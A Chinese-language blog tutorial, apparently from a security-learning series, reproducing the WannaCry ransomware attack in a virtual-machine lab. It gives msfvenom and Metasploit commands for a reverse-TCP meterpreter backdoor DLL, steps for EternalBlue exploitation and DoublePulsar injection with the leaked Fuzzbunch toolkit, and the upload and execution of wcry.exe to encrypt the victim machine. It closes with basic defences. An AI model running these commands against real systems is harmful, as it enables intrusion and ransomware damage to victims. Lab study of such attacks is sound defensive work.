您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列,因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史,換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行,享受程序,一起加油~
作者前文介紹了逆向分析之OllyDbg動態除錯工具,包括INT3斷點、反除錯、硬體斷點和記憶體斷點,這篇文章將分享新知識,最近WannaRen勒索軟體爆發(下圖是安天的分析攻擊流程),其名稱和功能與WannaCry相似,所以接下來作者將連續分享WannaCry勒索病毒的復現及分析,第一篇文章將采用Github資源實作永恒之藍漏洞利用及Windows7系統檔案加密,
注意,這篇文章介紹的WannaCry復現程序十分繁瑣,僅推薦大家理解一個漏洞利用的基本程序,Python是如何構建shellcode代碼攻擊的,以及雙星脈沖漏洞、dll檔案的設定與后續逆向分析均有關,而下一篇文章是直接使用Metasploit中的MS17-010漏洞實作勒索,更簡潔的給出永恒之藍漏洞的利用程序,希望這系列文章對您有所幫助~

文章目錄
- 一.WannaCry背景
- 二.實驗環境搭建
- 1.安裝Win7系統和Win server 2003系統
- 2.Windows Server 2003系統中配置Python環境
- 三.Kali生成DLL攻擊檔案
- 四.利用永恒之藍漏洞獲取shell
- 1.Win Server配置永恒之藍
- 2.Kali反彈shell
- 3.實作Doublepulsar注入
- 五.上傳勒索病毒并實作攻擊
- 六.防御措施
- 七.總結
作者的github資源:
- WannaCry:https://github.com/eastmountyxz/WannaCry-Experiment
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
從2019年7月開始,我來到了一個陌生的專業——網路空間安全,初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網路安全自學”系列文章,艱難前行著,感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
- 推薦前文:網路安全自學篇系列-100篇
前文分析:
- [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
- [系統安全] 六.逆向分析之條件陳述句和回圈陳述句原始碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實作檔案加解密及OllyDbg逆向
- [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
- [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
- [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
- [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
- [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
- [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放程序(下)
- [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透決議、藍屏漏洞及某音樂軟體漏洞復現
- [系統安全] 十六.PE檔案逆向基礎知識(PE決議、PE編輯工具和PE修改)
- [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
- [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
- [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析
- [系統安全] 二十.PE數字簽名之(上)什么是數字簽名及Signtool簽名工具詳解
- [系統安全] 二十一.PE數字簽名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系統安全] 二十二.PE數字簽名之(下)微軟證書漏洞CVE-2020-0601復現及Windows驗證機制分析
- [系統安全] 二十三.逆向分析之OllyDbg動態除錯復習及TraceMe案例分析
- [系統安全] 二十四.逆向分析之OllyDbg除錯INT3斷點、反除錯、硬體斷點與記憶體斷點
- [系統安全] 二十五.WannaCry勒索病毒分析 (1)Python復現永恒之藍漏洞實作勒索加密
宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,該樣本不會分享給大家,分析工具會分享,(參考文獻見后)
一.WannaCry背景
2017年5月12日,WannaCry蠕蟲通過永恒之藍MS17-010漏洞在全球范圍大爆發,感染大量的計算機,WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等眾多行業,造成嚴重的危害,
WannaCry是一種“蠕蟲式”勒索病毒軟體,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍)進行傳播,該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量檔案被加密,
WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445埠的Windows系統,被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過共享漏洞上傳WannaCry勒索病毒等惡意程式,

WannaCry利用永恒之藍漏洞進行網路埠掃描攻擊,目標機器被成功攻陷后會從攻擊機下載WannaCry木馬進行感染,并作為攻擊機再次掃描互聯網和局域網的其他機器,行成蠕蟲感染大范圍超快速擴散,
木馬母體為mssecsvc.exe,運行后會掃描隨機IP的互聯網機器,嘗試感染,也會掃描局域網相同網段的機器進行感染傳播,此外會釋放敲詐者程式tasksche.exe,對磁盤檔案進行加密勒索,
木馬加密使用AES加密檔案,并使用非對稱加密演算法RSA 2048加密隨機密鑰,每個檔案使用一個隨機密鑰,理論上不可破解,同時@WanaDecryptor@.exe顯示勒索界面,其核心流程如下圖所示:

WannaCry勒索病毒主要行為是傳播和勒索,
- 傳播:利用基于445埠的SMB漏洞MS17-010(永恒之藍)進行傳播
- 勒索:釋放檔案,包括加密器、解密器、說明檔案、語言檔案等;記憶體加載加密器模塊,加密執行型別檔案,全部加密后啟動解密器;解密器啟動后,設定桌面背景顯示勒索資訊,彈出視窗顯示付款賬號和勒索資訊
二.實驗環境搭建
實驗環境:
- 攻擊機1:Kali-linux-2019.2 IP:192.168.44.138
- 攻擊機2:Win-server-2003 IP:192.168.44.131
- 受害主機:Win7 64位 IP:192.168.44.132
實驗工具:
- Python 2.6
- Python32-221.win32-py2.6
- Shadowbroker-master (https://github.com/misterch0c/shadowbroker)
- Wcry.exe
實驗步驟:
- 配置Windows Server 2003、Kali、Windows7實驗環境
- Kali檢測受害主機445埠(SMB協議)是否開啟
- 運行永恒之藍Python腳本
- 利用DLL后門檔案進行Doublepulsar注入
- Metaploit獲取受害主機的shell
- 運行wcry.exe母體程式,實作勒索和檔案加密
切記、切記、切記:實驗復現程序中必須在虛擬機中完成,運行之前關閉虛擬機Win7檔案共享,真機上一旦被感染你就真的只能想哭了(wannacry)
1.安裝Win7系統和Win server 2003系統
創建虛擬機并安裝Windows7 x64位作業系統,

安裝系統如下:

Win7設定開啟445埠,同時關閉防火墻,注意,關閉虛擬機檔案共享功能,

安裝Windows Server 2003系統,其IP地址為192.168.44.131,

保證攻擊機1、攻擊機2和受害機相互通訊,均在同一個局域網中,
- 攻擊機1:Kali-linux-2019.2 IP:192.168.44.138
- 攻擊機2:Win-server-2003 IP:192.168.44.131
- 受害主機:Win7 64位 IP:192.168.44.132


2.Windows Server 2003系統中配置Python環境
第一步,下載實驗相關工具,
- Python 2.6
https://www.python.org/download/releases/2.6/ - Python32-221.win32-py2.6
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/ - Shadowbroker-master工具包
https://github.com/misterch0c/shadowbroker


第二步,安裝Python2.6,配置環境變數,


第三步,傻瓜式安裝Python32-221.win32-py2.6,


第四步,安裝Shadowbroker-master,在Windows檔案夾中新建檔案夾logs和listeningposts,用記事本打開Windows檔案夾中的Fuzzbunch.xml檔案,并修改ResourcesDir和LOogDir的路徑,

修改ResourcesDir和LOogDir路徑為:C:\test\windows\Resources和logs,

第五步,運行永恒之藍工具,若出現以下界面則工具安裝成功,
- python c:\test\windows\fb.py

三.Kali生成DLL攻擊檔案
第一步,掃描靶機是否開啟445埠,
- nmap -sS 192.168.44.132

第二步,使用msfvenom工具生成后門檔案abc.dll,
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.138 LPORT=6666 -f dll > abc.dll
- -p指定使用模塊型別,LSHOT指定本地IP,LPORT指定本地埠,-f指定檔案型別

第三步,上傳dll檔案到攻擊機2(Windows Server 2003)中,這里使用wmvare tools復制或Xshell軟體實作,

四.利用永恒之藍漏洞獲取shell
1.Win Server配置永恒之藍
第一步,在CMD中運行“永恒之藍”,設定受害主機IP、攻擊機IP、是否重定向,新建專案名稱,
- 默認目標IP地址:Default Targer IP Address,靶機IP
- 默認回彈IP地址:Default Callback IP Address,攻擊機1IP地址
- 是否使用重定向:Use Rdirection [yes] :no
- 新建專案:Create a New Project
- 新建專案命名:New Project Name:test1
- 其他選項,全部默認,直接enter即可

第二步,加載永恒之藍模塊,獲取受害主機的系統權限,
- 加載永恒之藍:use Eternalblue
- 設定受害主機作業系統:Windows7 x64
- 模式mode:選擇FB(該模式下進行互動性引數輸入)
- 其他大部分為確認資訊,引數可設定為默認或自行修改

設定攻擊引數和作業系統等資訊,

當我們看到WIN和Eternalblue Succeeded資訊,表示受害機的權限獲取成功,


fb.py源代碼為:
#!/usr/bin/python2.6
import code
import os
import sys
from fuzzbunch import env
"""
Set up core paths
"""
(FB_FILE, FB_DIR, EDFLIB_DIR) = env.setup_core_paths( os.path.realpath(__file__))
"""
Make sure our libraries are setup properly
"""
#env.setup_lib_paths(os.path.abspath(__file__), EDFLIB_DIR)
"""
Plugin directories
"""
PAYLOAD_DIR = os.path.join(FB_DIR, "payloads")
EXPLOIT_DIR = os.path.join(FB_DIR, "exploits")
TOUCH_DIR = os.path.join(FB_DIR, "touches")
IMPLANT_DIR = os.path.join(FB_DIR, "implants")
LP_DIR = os.path.join(FB_DIR, "listeningposts")
EDE_DIR = os.path.join(FB_DIR, "ede-exploits")
TRIGGER_DIR = os.path.join(FB_DIR, "triggers")
SPECIAL_DIR = os.path.join(FB_DIR, "specials")
"""
Fuzzbunch directories
"""
LOG_DIR = os.path.join(FB_DIR, "logs")
FB_CONFIG = os.path.join(FB_DIR, "Fuzzbunch.xml")
from fuzzbunch.edfplugin import EDFPlugin
#from fuzzbunch.edeplugin import EDEPlugin
from fuzzbunch.fuzzbunch import Fuzzbunch
from fuzzbunch.pluginfinder import addplugins, PluginfinderError
from fuzzbunch import exception
from fuzzbunch.daveplugin import DAVEPlugin
from fuzzbunch.deployablemanager import DeployableManager
def do_interactive(fb):
gvars = globals()
gvars['quit'] = (lambda *x: fb.io.print_error("Press Ctrl-D to quit"))
gvars['exit'] = gvars['quit']
fb.io.print_warning("Dropping to Interactive Python Interpreter")
fb.io.print_warning("Press Ctrl-D to exit")
code.interact(local=gvars, banner="")
def main(fb):
#fb.printbanner()
fb.cmdqueue.append("retarget")
while 1:
try:
fb.cmdloop()
except exception.Interpreter:
do_interactive(fb)
else:
break
def load_plugins(fb):
fb.io.pre_input(None)
fb.io.print_msg("Loading Plugins")
fb.io.post_input()
addplugins(fb, "Exploit", EXPLOIT_DIR, EDFPlugin)
addplugins(fb, "Payload", PAYLOAD_DIR, EDFPlugin)
addplugins(fb, "Touch", TOUCH_DIR, EDFPlugin)
addplugins(fb, "ImplantConfig", IMPLANT_DIR, EDFPlugin)
addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin)
addplugins(fb, "Special", SPECIAL_DIR, DAVEPlugin, DeployableManager)
# addplugins(fb, "EDE-Exploit", EDE_DIR, EDEPlugin)
# addplugins(fb, "Trigger", TRIGGER_DIR, EDFPlugin)
@exception.exceptionwrapped
def setup_and_run(config, fbdir, logdir):
# Setup fb globally so that we can debug interactively if we want
global fb
fb = Fuzzbunch(config, fbdir, logdir)
fb.printbanner()
load_plugins(fb)
main(fb)
if __name__ == "__main__":
setup_and_run(FB_CONFIG, FB_DIR, LOG_DIR)
2.Kali反彈shell
接著設定Kali系統,通過Metasploit等待回傳的shell,具體步驟如下:
- 加載msfconsole
- 使用handle操作,命令為:use exploit/multi/handler
- 設定Paylod,命令為:set payload windows/x64/meterpreter/reverse_tcp
- 設定本地IP地址,命令為:set LHOST 192.168.44.138
- 設定本地埠,命令為:set LPORT 6666
- 開啟監聽run

3.實作Doublepulsar注入
接下來Kali處于監聽狀態,我們在Windows Server 2003中進行Doublepulsar注入(雙倍脈沖),具體流程如下:
第一步,輸入use Doublepulsar加載雙倍脈沖注入,

第二步,設定相關引數,包括選擇SMB協議,后門利用方法為RunDLL,
- 選擇協議:SMB
- 后門方法:RunDll
- 設定DLL路徑為:C:\abc.dll
- 默認操作輸入Enter鍵

注入成功后顯示“Doublepulsar succeeded”,


第三步,回傳kali查看meterpreter,此時成功獲取受害機shell,
- dir
- getuid

第四步,在Kali中查看Win7系統盤目錄如下圖所示,

五.上傳勒索病毒并實作攻擊
第一步,在Kali中上傳勒索病毒程式wcry.exe至受害主機,
- upload /root/wcry.exe c:\


上傳之后如下圖所示:


注意,如果程式運行時間長,可能需要重新執行相關命令,我們再重新回顧下這些核心命令,
Kali

Win Server

第二步,獲取受害主機shell,如果出現中文亂碼輸入“chcp 65001”設定編碼,接著我們運行Win7上面的病毒程式wcry.exe,
- shell
- chcp 65001
- dir
- wcry.exe

運行前的受害主機界面如下圖所示:

運行病毒程式后的界面如下圖所示,已經成功被勒索,再次強調,所有代碼必須在虛擬機中執行,并且關閉檔案共享,

加密系統中的檔案,被加密的檔案后綴名統一修改為“.WNCRY”,
- b.wnry: 中招敲詐者后桌面壁紙
- c.wnry: 組態檔,包含洋蔥域名、位元幣地址、tor下載地址等
- f.wnry: 可免支付解密的檔案串列
- r.wnry: 提示檔案,包含中招提示資訊
- s.wnry: zip檔案,包含Tor客戶端
- t.wnry: 測驗檔案
- u.wnry: 解密程式


六.防御措施
勒索軟體防御常見的措施如下:
- 開啟系統防火墻
- 關閉445、139等埠連接
- 開啟系統自動更新,下載并更新補丁,及時修復漏洞
- 安裝安全軟體,開啟主動防御進行攔截查殺
- 如非服務需要,建議把高危漏洞的埠都關閉,比如138、139、445、3389等
由于WannaCry勒索病毒主要通過445埠入侵計算機,關閉的方法如下:
- 控制面板–>windows防火墻—>高級選項–>入站規則
- 新建規則–>選擇埠–>指定埠號445
- 選擇阻止連接–>組態檔全選–>規則名稱–>成功關閉
實驗在虛擬機中進行,也需要關閉共享檔案夾功能,如下圖所示,

七.總結
寫到這里,這篇WannaCry勒索病毒復現和分析的文章就介紹結束了,希望對您有所幫助,同時,您可能感覺到了呼叫別人的Python資源方法比較繁瑣,我們是否能直接呼叫MS17-010,再上傳勒索病毒實作攻擊呢?并且作者后續會深入地逆向分析該勒索病毒的原理及呼叫關系,也推薦大家閱讀參考文獻大佬們的文章,繼續加油~

這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知自己很菜,得努力前行,
歡迎大家討論,是否覺得這系列文章幫助到您!如果存在不足之處,還請海涵,任何建議都可以評論告知讀者,共勉~
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,
(By:Eastmount 2021-02-27 晚上11點夜于武漢 http://blog.csdn.net/eastmount )
參考文獻:
- [1] 勒索病毒“WannaCry”之復現程序(永恒之藍)- weixin_40950781
- [2] Windows再曝“WannaCry”級漏洞 CVE-2019-0708,專治 XP、Win7 - FB客戶
- [3] 對WannaCry的深度分析 - 鬼手56
- [4] 安天針對勒索蠕蟲“魔窟”(WannaCry)的深度分析報告
- [5] WannaCry蠕蟲詳細分析 - FreeBuf騰訊
- [6] [病毒分析]WannaCry病毒分析(永恒之藍) - 小彩虹
- [7] 威脅預警 | 蠕蟲級漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平臺
- [8] [反病毒]病毒分析實戰篇1–遠控病毒分析 - i春秋老師
- [9] wannacry,petaya,meze等病毒樣本 - CSDN下載
- [10] 針對WannaRen勒索軟體的梳理與分析 - 安天
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/264436.html
標籤:其他
